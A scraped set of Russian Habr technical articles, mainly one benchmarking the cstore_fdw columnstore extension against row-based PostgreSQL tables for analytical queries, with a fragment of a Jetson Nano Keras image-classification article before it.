print("Loss: {:.2f}".format(loss0))
print("Accuracy: {:.2f}".format(accuracy0))
tl_model.save("dog_cat_model.h5")
```
Кстати, попытка запустить обучение прямо на Jetson Nano провалилась — плата минут через 5 перегрелась и повисла. Для ресурсоемких расчетов к плате необходим кулер, хотя по большому счету, делать такие задачи прямо на Jetson Nano смысла нет — модель можно обучить на ПК, а готовый сохраненный файл использовать на Nano.
Тут вылез еще один подводный камень — на ПК установлена библиотека tensowflow версии 14, а для Jetson Nano последняя версия пока что 13. И модель, сохраненная в 14й версии, не прочиталась в 13й, пришлось ставить одинаковые версии с помощью pip.
Наконец, мы можем загрузить модель из файла и использовать ее для распознавания картинок.
```
def predict_model(model, image_file):
img = image.load_img(image_file, target_size=(IMAGE_SIZE, IMAGE_SIZE))
t_start = time.time()
img_arr = np.expand_dims(img, axis=0)
result = model.predict_classes(img_arr)
print("Result: {}, dT: {}".format(label_names(result[0][0]), time.time() - t_start))
model = tf.keras.models.load_model('dog_cat_model.h5')
predict_model(model, "cat.png")
predict_model(model, "dog1.png")
predict_model(model, "dog2.png")
```
Фотография котика использовалась та же самая, а для «собачьего» теста использовалось 2 картинки:
Первая угадывалась безошибочно, а на второй сначала были ошибки и нейросеть считала что это кот, пришлось увеличить число итераций обучения. Впрочем, я бы наверно с первого раза тоже ошибся ;)
Время выполнения на Jetson Nano оказалось вполне небольшим — самое первое фото обрабатывалось за 0.3с, но все последующие гораздо быстрее, видимо данные кешируются в памяти.
В общем, можно считать, что на таких несложных нейросетях скорости платы вполне хватает даже без каких-либо оптимизаций, 100fps это величина, достаточная даже для видео в real time.
Заключение
----------
Как можно видеть, даже стандартные модели из Keras и Tensorflow можно использовать на Nano, хотя и с переменным успехом — что-то работает, что-то нет. Впрочем, результаты можно улучшить, инструкцию по оптимизации модели и уменьшению размера памяти можно почитать [здесь](https://www.dlology.com/blog/how-to-run-keras-model-on-jetson-nano/).
Но к счастью для нас, производители за нас это уже сделали. Если у читателей еще останется интерес, заключительная часть будет посвящена [готовым библиотекам](https://github.com/dusty-nv/jetson-inference), оптимизированным для работы с Jetson Nano. | https://habr.com/ru/post/460971/ | null | ru | null |
# Вокруг Света за 4 Секунды на Columnstore (Часть 1)
В этой статье я собираюсь рассмотреть вопрос повышения скорости отчетов. Под отчетом я понимаю любой запрос в базу данных, который использует агрегирующие функции. Также, я собираюсь затронуть вопросы, касающиеся затрачиваемых ресурсов на производство и поддержку отчетов, как людские, так и машинные.
В примерах я буду использовать набор данных, содержащий 52 608 000 записей.
На примере не сложных аналитических запасов я продемонстрирую, что даже слабый компьютер можно превратить в неплохое средство анализа «приличного» объема данных без особых усилий.
Поставив не сложные эксперименты, мы увидим, что обычная таблица не является подходящим источником для аналитических запросов.
Если читатель без труда может расшифровать аббревиатуры OLTP и OLAP, возможно есть смысл перейти сразу к разделу [Columnstore](#cs)
#### Два подхода к работе с данными
Здесь я буду краток, т.к. информации по этой теме в интернете более, чем достаточно.
Итак, на самом верхнем уровне существует всего два подхода к работе с данными: OLTP и OLAP.
OLTP — можно перевести, как моментальная обработка транзакций. На самом деле, речь идёт об онлайн обработке коротких транзакций, работающих с небольшим объёмом данных. Например, запись, обновление или удаление заказа. В подавляющем большинстве случаев заказ — это крайне малый объём данных, при обработке которого можно не бояться длительных блокировок, накладываемых современными РСУБД.
OLAP — можно перевести как аналитическая обработка большого количества транзакций за один раз. Любой отчет использует именно этот подход, ведь в подавляющем большинстве случаев отчет выдаёт сводные, агрегированные цифры по определённым разрезам.
Для каждого из подходов существуют свои технологии. Например, для OLTP — это PostgreSQL, а для OLAP — это Microsoft SQL Server Analysis Services. В то время как PostgresSQL использует широко известный формат хранения данных в таблицах, для OLAP придумали несколько разных форматов. Это многомерные таблицы, бакеты наполненные парами ключ-значение и любимый мною columnstore. О последнем более подробно ниже.
#### Зачем нужны именно два подхода?
Было замечено, что любое хранилище данных рано или поздно сталкивается с двумя типами нагрузки: частое чтение (запись и обновление, конечно, тоже) крайне малых объёмов данных и редкое чтение, но очень больших объёмов данных. На деле это активность, например, кассы и руководителя. Касса, работая целый день, наполняет хранилище мелкими порциями данных, при этом в конце дня объём накопленного, если бизнес идёт хорошо, достигает внушительных размеров. В свою очередь руководитель в конце дня желает знать, сколько денег заработала касса за день.
Итак, в OLTP мы имеем таблицы и индексы. Эти два инструмента прекрасно подходят для записи активности кассы со всеми деталями. Индексы обеспечивают быстрый поиск записанного ранее заказа, поэтому изменить заказ не составляет труда. Но для, того, чтобы удовлетворить потребности руководителя, нам необходимо считать весь объём накопленных за день данных. К тому же, как правило, руководителю не нужны все детали всех заказов. Что ему действительно нужно знать это то, сколько денег заработала касса в общем. При этом не важно, где касса стояла, когда был перерыв на обед, кто за ней работал, и т.д. OLAP существует затем, чтобы за короткий временной отрезок система могла ответить на вопрос — сколько в целом заработало предприятие без последовательного чтения каждого заказа и всех его деталей. Может ли OLAP использовать те же таблицы и индексы, что и OLTP? Ответ нет, по крайней мере, не должна. Во-первых, потому что OLAP просто не нужны все детали, записанные в таблицах. Эта проблема решается путем хранения данных в иных форматах, отличных от двумерных таблиц. Во-вторых, анализируемая информация, часто, рассредоточена по разным таблицам, что влечет за собой множественные их объединения включая объединения типа self-join. Для решения этой проблемы, как правило, разрабатывают специальную схему БД. Эта схема получается оптимизированной для OLAP нагрузки, так же хорошо, как обычная нормализованная схема для OLTP нагрузки.
#### Что происходит, когда OLAP использует OLTP схему
На самом деле, я ввёл этот раздел, чтобы эта статья четко удовлетворяла моим собственным требованиям к формату подобного материала, т.е. проблема, решение, заключение.
Перечислим ряд недостатков использования OLTP схемы в целях анализа данных.
* Слишком много индексов.
*Нередко для поддержки отчетов приходится делать специальные индексы. Такие индексы реализуют схему хранения данных OLAP. Они не используются OLTP частью приложения, при этом оказывают нагрузку именно на неё, требуя постоянной поддержки и занимая место на диске.*
* Объём считываемых данных превышает необходимый.
* Отсутствие четкой схемы данных.
*Дело в том, что часто информация, подаваемая отчетами в едином виде разнесена по разным таблицам. Такая информация требует постоянной трансформации на лету. Простейший пример — это сумма выручки, которая складывается из наличных и безналичных денег. Еще один яркий пример — это иерархии данных. Т.к. развитие приложения происходит поступательно и не всегда известно, что потребуется в будущем, одна и та же по смыслу иерархия может храниться в разных таблицах. И хотя получение схемы налету активно применяется в OLAP это немного разные вещи.*
* Чрезмерная сложность запросов.
*Т.к. OLTP схема отличается от OLAP необходим сильно связанный программный слой, который приводит схему данных OLTP к нужному виду.*
* Сложность поддержки, отладки и развития.
*В целом можно сказать, что чем сложнее кодовая база, тем сложнее её поддерживать в работоспособном состоянии. Это аксиома.*
* Сложность покрытия тестами.
*Много копий сломано на рассуждениях на тему, как получить базу данных, наполненную всеми тестовыми сценариями, но лучше сказать, что имея более простую схему данных задача покрытия тестами упрощается многократно.*
* Бесконечная отладка производительности.
*Велика вероятность того, что пользователь закажет «неподъёмный» для сервера БД отчет. Эта вероятность растет с течением времени. Необходимо заметить, что и OLAP подвержена этой проблеме, но в отличии от OLTP, ресурс OLAP в этом вопросе гораздо выше.*
**Columnstore**
В этой статье речь пойдет о формате хранения columnstore, но без низкоуровневых деталей. Другие форматы, упоминавшиеся выше, тоже заслуживают внимания, но это тема для другой статьи.
На самом деле формат columnstore известен уже лет 30. Но в РСУБД он не был реализован до недавнего времени. Суть columnstore, в том, что хранение данных осуществляется не в строках, но в колонках. Т.е. на одну страницу (всем известные 8 Кб) сервер записывает данные только одного поля. И так с каждым полем в таблице по очереди. Необходимо это для того, чтобы не приходилось считывать лишнюю информацию. Давайте представим таблицу с 10 полями и запрос, у которого в операторе SELECT указано только одно поле. Если бы это была обычная таблица сохранённая в row-based формате, сервер был бы вынужден считывать все 10 полей, но при этом возвращать только одно. Получилось бы, что сервер считал в 9 раз больше информации, чем было необходимо. Columnstore полностью решает эту проблему, т.к. формат хранения позволяет считывать только одно заказанное поле. Все это происходит, потому что единица хранения в РСУБД — это страница. Т.е. сервер всегда записывает и считывает, как минимум одну страницу. Вопрос только в том, сколько полей присутствует на ней.
#### Чем реально Columnstore может помочь
Для ответа на этот необходимо иметь точные цифры. Давайте же получим их. Но какие цифры могут дать точную картину?
1. Объём дискового пространства.
2. Производительность запросов.
3. Отказоустойчивость.
4. Простота внедрения.
5. Какие новые навыки должны быть у разработчика для работы с новыми структурами.
#### Объём дискового пространства
Давайте создадим простую таблицу, наполним её данными и проверим сколько места она займет.
```
create foreign table cstore_table
(
trd date,
org int,
op int,
it int,
wh int,
m1 numeric(32, 2),
m2 numeric(32, 2),
m3 numeric(32, 2),
m4 numeric(32, 2),
m5 numeric(32, 2)
)
server cstore_server
options(compression 'pglz');
```
Как вы заметили, я создал внешнюю таблицу. Дело в том, что PostgreSQL не имеет встроенной поддержки columnstore. Зато PostgreSQL имеет мощную систему для расширений. Одно из них как раз и даёт возможность создавать columnstore таблицы. Ссылки в конце статьи.
* pglz — сообщает расширению, что данные должны быть сжаты встроенным в PostgreSQL алгоритмом;
* trd — время транзакции;
* op, it, wh — аналитические разрезы или измерения;
* m1, m2, m3, m4, m5 — числовые показатели или меры;
Давайте вставим «приличный» объём данных и посмотрим, сколько места он займёт на диске. Заодно проверим производительность вставки. Т.к. свои эксперименты я ставлю на домашнем ноутбуке, я слегка органичен в объёмах данных. К тому же, что даже хорошо, я буду использовать HDD под управлением гостевой OS Fedora 30. Хост OS — Windows 10 Home Edition. Процессор Intel Core 7. Гостевая OS получила 4 Гб RAM. Версия PostgreSQL — PostgreSQL 10.10 on x86\_64-pc-linux-gnu, compiled by gcc (GCC) 9.1.1 20190503 (Red Hat 9.1.1-1), 64-bit. Экспериментировать буду с набором данных с количеством записей 52 608 000.
```
explain (analyze)
insert into cstore_table
select
'2010-01-01'::date + make_interval(days => d) as trd
, op
, org
, wh
, it
, 100 as m1
, 100 as m2
, 100 as m3
, 100 as m4
, 100 as m5
from generate_series(0, 1) as op
cross join generate_series(1, 2) as org
cross join generate_series(1, 3) as wh
cross join generate_series(1, 4000) as it
cross join generate_series(0, 1095) as d;
```
План выполнения будет следующим
> Insert on cstore\_table (cost=0.01..24902714242540.01 rows=1000000000000000 width=150) (actual time=119560.456..119560.456 rows=0 loops=1)
>
> ----> Nested Loop (cost=0.01..24902714242540.01 rows=1000000000000000 width=150) (actual time=1.823..22339.976 rows=52608000 loops=1)
>
> ----------> Function Scan on generate\_series d (cost=0.00..10.00 rows=1000 width=4) (actual time=0.151..2.198 rows=1096 loops=1)
>
> ----------> Materialize (cost=0.01..27284555030.01 rows=1000000000000 width=16) (actual time=0.002..3.196 rows=48000 loops=1096)
>
> ----------------> Nested Loop (cost=0.01..17401742530.01 rows=1000000000000 width=16) (actual time=1.461..15.072 rows=48000 loops=1)
>
> ----------------------> Function Scan on generate\_series it (cost=0.00..10.00 rows=1000 width=4) (actual time=1.159..2.007 rows=4000 loops=1)
>
> ----------------------> Materialize (cost=0.01..26312333.01 rows=1000000000 width=12) (actual time=0.000..0.001 rows=12 loops=4000)
>
> ----------------------------> Nested Loop (cost=0.01..16429520.01 rows=1000000000 width=12) (actual time=0.257..0.485 rows=12 loops=1)
>
> ----------------------------------> Function Scan on generate\_series wh (cost=0.00..10.00 rows=1000 width=4) (actual time=0.046..0.049 rows=3 loops=1)
>
> ----------------------------------> Materialize (cost=0.01..28917.01 rows=1000000 width=8) (actual time=0.070..0.139 rows=4 loops=3)
>
> ---------------------------------------> Nested Loop (cost=0.01..20010.01 rows=1000000 width=8) (actual time=0.173..0.366 rows=4 loops=1)
>
> -------------------------------------------> Function Scan on generate\_series op (cost=0.00..10.00 rows=1000 width=4) (actual time=0.076..0.079 rows=2 loops=1)
>
> ---------------------------------------------> Function Scan on generate\_series org (cost=0.00..10.00 rows=1000 width=4) (actual time=0.043..0.047 rows=2 loops=2)
>
> Planning time: 0.439 ms
>
> Execution time: 119692.051 ms
Общее время выполнения — 1.994867517 минут
Время создания набора данных — 22.339976 секунд
Время вставки — 1.620341333 минут
Оценить занятое таблицей место на диске с помощью функций PostgreSQL у меня не получилось. Не уверен, почему, но показывает 0. Возможно это стандартное поведение для внешних таблиц. Использовал для этого файловый менеджер. Итак, объём занятого на диске места — 226.2 Мб. Чтобы оценить много это или мало давайте сравним с обычной таблицей.
```
explain (analyze)
create table rbstore_table as
select
'2010-01-01'::date + make_interval(days => d) as trd
, op
, org
, wh
, it
, 100 as m1
, 100 as m2
, 100 as m3
, 100 as m4
, 100 as m5
from generate_series(0, 1) as op
cross join generate_series(1, 2) as org
cross join generate_series(1, 3) as wh
cross join generate_series(1, 4000) as it
cross join generate_series(0, 1095) as d;
```
План выполнения будет следующим
> Nested Loop (cost=0.01..22402714242540.01 rows=1000000000000000 width=44) (actual time=0.585..23781.942 rows=52608000 loops=1)
>
> ---> Function Scan on generate\_series d (cost=0.00..10.00 rows=1000 width=4) (actual time=0.091..2.130 rows=1096 loops=1)
>
> ---> Materialize (cost=0.01..27284555030.01 rows=1000000000000 width=16) (actual time=0.001..3.574 rows=48000 loops=1096)
>
> ----------> Nested Loop (cost=0.01..17401742530.01 rows=1000000000000 width=16) (actual time=0.489..14.044 rows=48000 loops=1)
>
> ----------------> Function Scan on generate\_series it (cost=0.00..10.00 rows=1000 width=4) (actual time=0.477..1.352 rows=4000 loops=1)
>
> ----------------> Materialize (cost=0.01..26312333.01 rows=1000000000 width=12) (actual time=0.000..0.001 rows=12 loops=4000)
>
> ----------------------> Nested Loop (cost=0.01..16429520.01 rows=1000000000 width=12) (actual time=0.010..0.019 rows=12 loops=1)
>
> ----------------------------> Function Scan on generate\_series wh (cost=0.00..10.00 rows=1000 width=4) (actual time=0.003..0.003 rows=3 loops=1)
>
> ----------------------------> Materialize (cost=0.01..28917.01 rows=1000000 width=8) (actual time=0.002..0.004 rows=4 loops=3)
>
> ----------------------------------> Nested Loop (cost=0.01..20010.01 rows=1000000 width=8) (actual time=0.006..0.009 rows=4 loops=1)
>
> ----------------------------------------> Function Scan on generate\_series op (cost=0.00..10.00 rows=1000 width=4) (actual time=0.002..0.002 rows=2 loops=1)
>
> ----------------------------------------> Function Scan on generate\_series org (cost=0.00..10.00 rows=1000 width=4) (actual time=0.001..0.001 rows=2 loops=2)
>
> Planning time: 0.569 ms
>
> Execution time: 378883.989 ms
Время, затраченное на выполнение этого плана нас, не интересует, т.к. в реальной жизни таких вставок не предполагается. Нас интересует сколько места на диске занимает эта таблица. Выполнив запрос к системным функциям, получил 3.75 Гб.
Итак, cstore\_table — 226 Мб, rbstore\_table — 3.75 Гб. Разница в 16.99 раз поражает, но вряд ли такую же разницу можно получить в продакшен, в первую очередь из-за распределения данных. Как правило, эта разница будет меньше и будет составлять около 5 раз.
Но постойте, никто не использует «сырые» данные в row-based формате для целей анализа. К примеру, для отчетности стараются использовать индексированные данные. И т.к. «сырые» данные будут всегда, нужно сравнивать размеры с размерами индексов. Давайте же создадим хотя бы один индекс. Пусть это будет индекс по полю даты и типу операции — trd + op.
Итак, я проиндексировал всего два поля, и индекс занял 1583 MB, что на много больше, чем таблица cstore\_table. А ведь, как правило, для OLAP нагрузки требуется далеко не один индекс. Здесь будет уместным заметить, что таблица cstore\_table не нуждается в дополнительном индексировании. Эта таблица действует, как индекс, покрывающий любые запросы.
Из всего выше сказанного можно сделать простой вывод — с помощью columnstore таблиц можно сократить используемый объём дискового пространства.
#### Производительность запросов
Для оценки производительности давайте выполним запрос, возвращающий сводные данные за определённый месяц по конкретному типу операции.
```
explain (analyze, costs, buffers)
select
sum(m1)
from cstore_table
where
trd = '2011-01-01'
and
op = 1;
```
План выполнения будет следующим
> Aggregate (cost=793602.69..793602.70 rows=1 width=32) (actual time=79.708..79.708 rows=1 loops=1)
>
> --Buffers: shared hit=44226
>
> ---> Foreign Scan on cstore\_table (cost=0.00..793544.70 rows=23197 width=5) (actual time=23.209..76.628 rows=24000 loops=1)
>
> --------Filter: ((trd = '2011-01-01'::date) AND (op = 1))
>
> --------Rows Removed by Filter: 26000
>
> --------CStore File: /var/lib/pgsql/10/data/cstore\_fdw/14028/16417
>
> --------CStore File Size: 120818897
>
> --------Buffers: shared hit=44226
>
> Planning time: 0.165 ms
>
> Execution time: 79.887 ms
И
```
explain (analyze, costs, buffers)
select
sum(m1)
from rbstore_table
where
trd = '2011-01-01'
and
op = 1;
```
План выполнения будет следующим
> Aggregate (cost=40053.80..40053.81 rows=1 width=8) (actual time=389.183..389.183 rows=1 loops=1)
>
> --Buffers: shared read=545
>
> ---> Index Scan using trd\_op\_ix on rbstore\_table (cost=0.56..39996.70 rows=22841 width=4) (actual time=55.955..385.283 rows=24000 loops=1)
>
> --------Index Cond: ((trd = '2011-01-01 00:00:00'::timestamp without time zone) AND (op = 1))
>
> --------Buffers: shared read=545
>
> Planning time: 112.175 ms
>
> Execution time: 389.219 ms
389.219 ms против 79.887 ms. Здесь мы видим, что даже на относительно небольшом объеме данных columnstore таблица существенно быстрее, чем индекс на row-based таблице.
Давайте изменим запрос и попробуем получить агрегат за весь 2011 год.
```
explain (analyze, costs, buffers)
select
sum(m1)
from cstore_table
where
trd between '2011-01-01' and '2011-12-31'
and
op = 1;
```
План выполнения будет следующим
> Aggregate (cost=946625.58..946625.59 rows=1 width=32) (actual time=3123.604..3123.604 rows=1 loops=1)
>
> --Buffers: shared hit=44226
>
> ---> Foreign Scan on cstore\_table (cost=0.00..925064.70 rows=8624349 width=5) (actual time=21.728..2100.665 rows=8760000 loops=1)
>
> --------Filter: ((trd >= '2011-01-01'::date) AND (trd <= '2011-12-31'::date) AND (op = 1))
>
> --------Rows Removed by Filter: 8760000
>
> --------CStore File: /var/lib/pgsql/10/data/cstore\_fdw/14028/16411
>
> --------CStore File Size: 120818897
>
> --------Buffers: shared hit=44226
>
> Planning time: 0.212 ms
>
> Execution time: 3123.960 ms
И
```
explain (analyze, costs, buffers)
select
sum(m1)
from rbstore_table
where
trd between '2011-01-01' and '2011-12-31'
and
op = 1;
```
План выполнения будет следующим
> Finalize Aggregate (cost=885214.33..885214.34 rows=1 width=8) (actual time=98512.560..98512.560 rows=1 loops=1)
>
> --Buffers: shared hit=2565 read=489099
>
> ---> Gather (cost=885214.12..885214.33 rows=2 width=8) (actual time=98427.034..98523.194 rows=3 loops=1)
>
> --------Workers Planned: 2
>
> --------Workers Launched: 2
>
> --------Buffers: shared hit=2565 read=489099
>
> ---------> Partial Aggregate (cost=884214.12..884214.13 rows=1 width=8) (actual time=97907.608..97907.608 rows=1 loops=3)
>
> --------------Buffers: shared hit=2565 read=489099
>
> ---------------> Parallel Seq Scan on rbstore\_table (cost=0.00..875264.00 rows=3580047 width=4) (actual time=40820.004..97405.250 rows=2920000 loops=3)
>
> ---------------------Filter: ((trd >= '2011-01-01 00:00:00'::timestamp without time zone) AND (trd <= '2011-12-31 00:00:00'::timestamp without time zone) AND (op = 1))
>
> --------------------Rows Removed by Filter: 14616000
>
> --------------------Buffers: shared hit=2565 read=489099
>
> Planning time: 7.899 ms
>
> Execution time: 98523.278 ms
98523.278 ms против 3123.960 ms. Возможно, частичный индекс нам бы помог, но лучше не рисковать и сделать подходящую row\_based структуру, в которой будут храниться уже готовые значения.
#### Агрегаты вручную
Подходящей структурой для ручных агрегатов может быть обычная row\_based таблица, содержащая предвычисленные значения. Например, в ней может быть запись, относящаяся к 2011 году с типом операции равным 1, при этом в полях m1, m2, m3, m4 и m5 будут храниться агрегированное значение именно по этим аналитическим разрезам. Таким образом, имея достаточный набор агрегатов и индексов, аналитические запросы приобретают небывалую производительность. Что интересно, в Microsoft SQL Server Analysis Services есть специальный мастер, который позволяет настраивать количество и глубину заранее вычисленных значений.
Данное решение имеет следующие плюсы:
* Аналитика реального времени.
*Пожалуйста не путайте с термином «аналитика в реальном времени». Здесь речь идёт о том, что приращение агрегата происходит за приемлемый отрезок времени в подавляющем большинстве случаев.
На самом деле этот плюс спорный, но не будем об этом. Факт остаётся фактом. Архитектура решения такова, что агрегаты остаются «свежими» практически всегда.*
* Полная независимость от объёма данных.
*Это очень серьёзный плюс. Не важно сколько данных попадёт в обработку, рано или поздно они будут обработаны, а агрегаты получены.*
* Относительная сложность.
*Чтобы получить аналитику реального времени и независимость от объёма данных, решение должно использовать продвинутые технологии, такие как многопоточность и ручное управление блокировками на уровне СУБД.*
* Сложность тестирования.
*Здесь речь, как о юнит-тестировании, так и о ручном. Думаю, читателю не стоит объяснять, что выявление ошибок многопоточности занятие не из простых.*
* Повышенные требования к дисковому пространству.
#### Реальное применение columnstore
Здесь мы снова должны погрузиться в теорию и разобрать вопрос, что такое аналитические данные более подробно.
Возьмём среднестатистического руководителя предприятия. Как правило, его/её волнуют два глобальных вопроса: «Как идут дела в данный момент?» и «Что изменилось за последнее время?».
Для ответа на вопрос «Как идут дела в данный момент» нам совершенно не нужны исторические данные. Т.е. не важно, как дела шли месяц назад.
Дабы держать руку на пульсе вопрос задаётся часто. Такой вид анализа данных называется оперативным.
Для ответа же на вопрос «Что изменилось за последнее время» нам нужны именно исторические данные. Причем, как правило, анализ производится на одинаковых по длительности временных отрезках. Например, месяц сравнивается с месяцем, год с годом и т.д. Конечно, система не должна ограничивать пользователя от возможности сравнить произвольные периоды, но такой случай необходимо признать редким, т.к. сравнение закрытого года с половиной не закрытого имеет мало смысла. Отличительной особенностью сравнительного анализа является то, что он не требуется так же часто, как оперативный. Будем называть этот тип анализа историческим.
Очевидно, что оперативный анализ должен происходить быстро. Соответственно, он предъявляет повышенные требования к производительности. В то время как к историческому анализу такие требования можно не выдвигать. Хотя производительность исторического анализа должна оставаться на весьма высоком уровне. По крайней мере для того, чтобы сама система анализа оставалась конкурентноспособной.
Итак, в соответствии с двумя типами анализа мы можем выделить два типа аналитических данных: оперативные данные и исторические. Со стороны пользователя не должно быть заметно с какими именно данными он работает в данный момент.
Именно из этих соображений в серверах баз данных и появилась возможность разбиения таблиц на отдельные секции.
Применительно к columnstore есть возможность смешивать секции в row-based и columnstore форматах. Известно, что данные оперативного анализа подвержены частому изменению, что препятствует их хранению в columnstore формате. А с учетом, того, что оперативных данных не бывает слишком много их вполне можно хранить в формате row-based.
Исторические же данные не меняются. Этих данных много, и поэтому формат columnstore им подходит лучше. Вспомните, что производительность «жирных» запросов к источнику columnstore выше, чем к источнику row-based.
Давайте рассмотрим на примере все вышесказанное.
Ниже я создаю главную таблицу warehouse и присоединяю к ней секции оперативного и исторического анализа.
```
create table warehouse
(
trd date,
org int,
op int,
it int,
wh int,
m1 numeric(32, 2),
m2 numeric(32, 2),
m3 numeric(32, 2),
m4 numeric(32, 2),
m5 numeric(32, 2)
)
partition by range(trd);
create foreign table historycal_data
(
trd date,
org int,
op int,
it int,
wh int,
m1 numeric(32, 2),
m2 numeric(32, 2),
m3 numeric(32, 2),
m4 numeric(32, 2),
m5 numeric(32, 2)
)
server cstore_server
options(compression 'pglz');
insert into historycal_data
select
'2010-01-01'::date + make_interval(days => d) as trd
, op
, org
, wh
, it
, 100 as m1
, 100 as m2
, 100 as m3
, 100 as m4
, 100 as m5
from generate_series(0, 1) as op
cross join generate_series(1, 2) as org
cross join generate_series(1, 3) as wh
cross join generate_series(1, 4000) as it
cross join generate_series(0, (1095 - 31)) as d;
analyze historycal_data;
create table operational_data as
select
('2012-12-01'::date + make_interval(days => d))::date as trd
, op
, org
, wh
, it
, 100::numeric(32, 2) as m1
, 100::numeric(32, 2) as m2
, 100::numeric(32, 2) as m3
, 100::numeric(32, 2) as m4
, 100::numeric(32, 2) as m5
from generate_series(0, 1) as op
cross join generate_series(1, 2) as org
cross join generate_series(1, 3) as wh
cross join generate_series(1, 4000) as it
cross join generate_series(0, 30) as d;
create index trd_op_ix on operational_data (trd, op);
analyze operational_data;
alter table warehouse attach partition operational_data for values from ('2012-12-01') to ('2112-01-01');
alter table warehouse attach partition historycal_data for values from ('2010-01-01') to ('2012-12-01');
```
Всё готово. Давайте попробуем заказать пару отчетов. Начнём с заказа данных за один день текущего месяца.
```
explain (analyze, costs, buffers)
select
sum(m1)
from warehouse
where
trd = '2012-12-01'
and
op = 1;
```
> Aggregate (cost=15203.37..15203.38 rows=1 width=32) (actual time=17.320..17.320 rows=1 loops=1)
>
> --Buffers: shared hit=3 read=515
>
> ---> Append (cost=532.59..15140.89 rows=24991 width=5) (actual time=1.924..13.838 rows=24000 loops=1)
>
> -------Buffers: shared hit=3 read=515
>
> ---------> Bitmap Heap Scan on operational\_data (cost=532.59..15140.89 rows=24991 width=5) (actual time=1.924..11.992 rows=24000 loops=1)
>
> ---------------Recheck Cond: ((trd = '2012-12-01'::date) AND (op = 1))
>
> ---------------Heap Blocks: exact=449
>
> ---------------Buffers: shared hit=3 read=515
>
> ----------------> Bitmap Index Scan on trd\_op\_ix (cost=0.00..526.34 rows=24991 width=0) (actual time=1.877..1.877 rows=24000 loops=1)
>
> ---------------------Index Cond: ((trd = '2012-12-01'::date) AND (op = 1))
>
> ---------------------Buffers: shared hit=2 read=67
>
> Planning time: 0.388 ms
>
> Execution time: 100.941 ms
Теперь закажем данные за весь 2012 год, в котором количество транзакций равно 8 784 000.
```
explain (analyze, costs, buffers)
select
sum(m1)
from warehouse
where
trd between '2012-01-01' and '2012-12-31'
and
op = 1;
```
> Aggregate (cost=960685.82..960685.83 rows=1 width=32) (actual time=4124.681..4124.681 rows=1 loops=1)
>
> --Buffers: shared hit=45591 read=11282
>
> ---> Append (cost=0.00..938846.60 rows=8735687 width=5) (actual time=66.581..3036.394 rows=8784000 loops=1)
>
> ---------Buffers: shared hit=45591 read=11282
>
> ----------> Foreign Scan on historycal\_data (cost=0.00..898899.60 rows=7994117 width=5) (actual time=66.579..2193.801 rows=8040000 loops=1)
>
> ---------------Filter: ((trd >= '2012-01-01'::date) AND (trd <= '2012-12-31'::date) AND (op = 1))
>
> ---------------Rows Removed by Filter: 8040000
>
> ---------------CStore File: /var/lib/pgsql/10/data/cstore\_fdw/14028/16448
>
> ---------------CStore File Size: 117401470
>
> ---------------Buffers: shared hit=42966
>
> ----------> Seq Scan on operational\_data (cost=0.00..39947.00 rows=741570 width=5) (actual time=0.019..284.824 rows=744000 loops=1)
>
> ---------------Filter: ((trd >= '2012-01-01'::date) AND (trd <= '2012-12-31'::date) AND (op = 1))
>
> ---------------Rows Removed by Filter: 744000
>
> ---------------Buffers: shared hit=2625 read=11282
>
> Planning time: 0.256 ms
>
> Execution time: 4125.239 ms
В конце давайте посмотрим, что произойдет, если пользователь захочет, к примеру, без злого умысла, заказать отчет по всем имеющимся в системе транзакциям, которых в ней 52 608 000.
```
explain (analyze, costs, buffers)
select
sum(m1)
from warehouse
```
> Aggregate (cost=672940.20..672940.21 rows=1 width=32) (actual time=15907.886..15907.886 rows=1 loops=1)
>
> --Buffers: shared hit=17075 read=11154
>
> ---> Append (cost=0.00..541420.20 rows=52608000 width=5) (actual time=0.192..9115.144 rows=52608000 loops=1)
>
> ---------Buffers: shared hit=17075 read=11154
>
> ----------> Foreign Scan on historycal\_data (cost=0.00..512633.20 rows=51120000 width=5) (actual time=0.191..5376.449 rows=51120000 loops=1)
>
> ---------------CStore File: /var/lib/pgsql/10/data/cstore\_fdw/14028/16448
>
> ---------------CStore File Size: 117401470
>
> ---------------Buffers: shared hit=14322
>
> ----------> Seq Scan on operational\_data (cost=0.00..28787.00 rows=1488000 width=5) (actual time=0.032..246.978 rows=1488000 loops=1)
>
> ---------------Buffers: shared hit=2753 read=11154
>
> Planning time: 0.157 ms
>
> Execution time: 15908.096 ms
Прошу заметить, что я все ещё пишу свою статью, как ни в чем не бывало. Мне даже не пришлось перезагружать мой не самый мощный ноутбук с HDD и 4 Гб RAM. Хотя вопрос потребления ресурсов требует более тщательной проработки.
#### Отказоустойчивость
Отчасти отказоустойчивость была проверена прямо во время написания этой статьи. Мой ноутбук жив, и, в общем, замедлений в его работе, кроме обычных, я не заметил.
Пусть читатель меня простит за то, что я не успел проработать вопрос отказоустойчивости детально, но могу сказать, что отказоустойчивость у рассматриваемого расширения есть — резервное копирование возможно.
#### Простота внедрения
Как выяснилось при создании таблицы, хранящей данные в columnstore формате, опций, кроме алгоритма компрессии, нет. Сама компрессия совершенно необходима.
Сам формат имеет определённую структуру. Настраивая соответствующие параметры, можно добиться определённого ускорения аналитических запросов, либо регулировать степень сжатия информации.
Как было продемонстрированно выше, создание таблицы в формате columnstore совершенно не затруднительный процесс. Расширение может работать с 40 типами данных PostgreSQL. На вебинарах говорили обо всех типах поддерживаемых PostgreSQL.
#### Какие новые навыки должны быть у разработчика для работы с новыми структурами
Разработчику SQL никаких специальных навыков для написания запросов к columnstore таблицам иметь не нужно. Такая таблица видна во всех запросах, как обычная row-based таблица. Хотя это не исключает необходимость оптимизации запросов.
#### Заключение
В этой статье я показал, чем может быть полезна таблица с форматом хранения columnstore. Это экономия дискового пространства и высокая производительность аналитических запросов. Простота работы с таблицей автоматически снижает затраты на создание полноценного аналитического хранилища данных, т.к. при её использовании не требуется разрабатывать сложные, трудно отлаживаемые алгоритмы. Упрощается тестирование.
Несмотря на то, что эксперименты поставленные выше внушают оптимизм, многие вопросы остались не проработанными. К примеру, какой план запроса будет сгенерирован, когда таблица columnstore будет соединяться с другими таблицами. Я надеюсь, продолжить эту работу в следующей части. Сколько всего частей будет зависит от, того, как cstore\_fdw поведёт с себя на более или менее реальных данных.
#### Ссылки на дополнительные материалы
[Краткий обзор cstore\_fdw](https://youtu.be/EbsCuOV4zZQ)
[cstore\_fdw на GitHub](https://github.com/citusdata/cstore_fdw)
[Дорожная карта cstore\_fdw](https://github.com/citusdata/cstore_fdw/wiki/Roadmap) | https://habr.com/ru/post/472396/ | null | ru | null |
# Рекомендательный движок за 2 строчки кода
История
-------
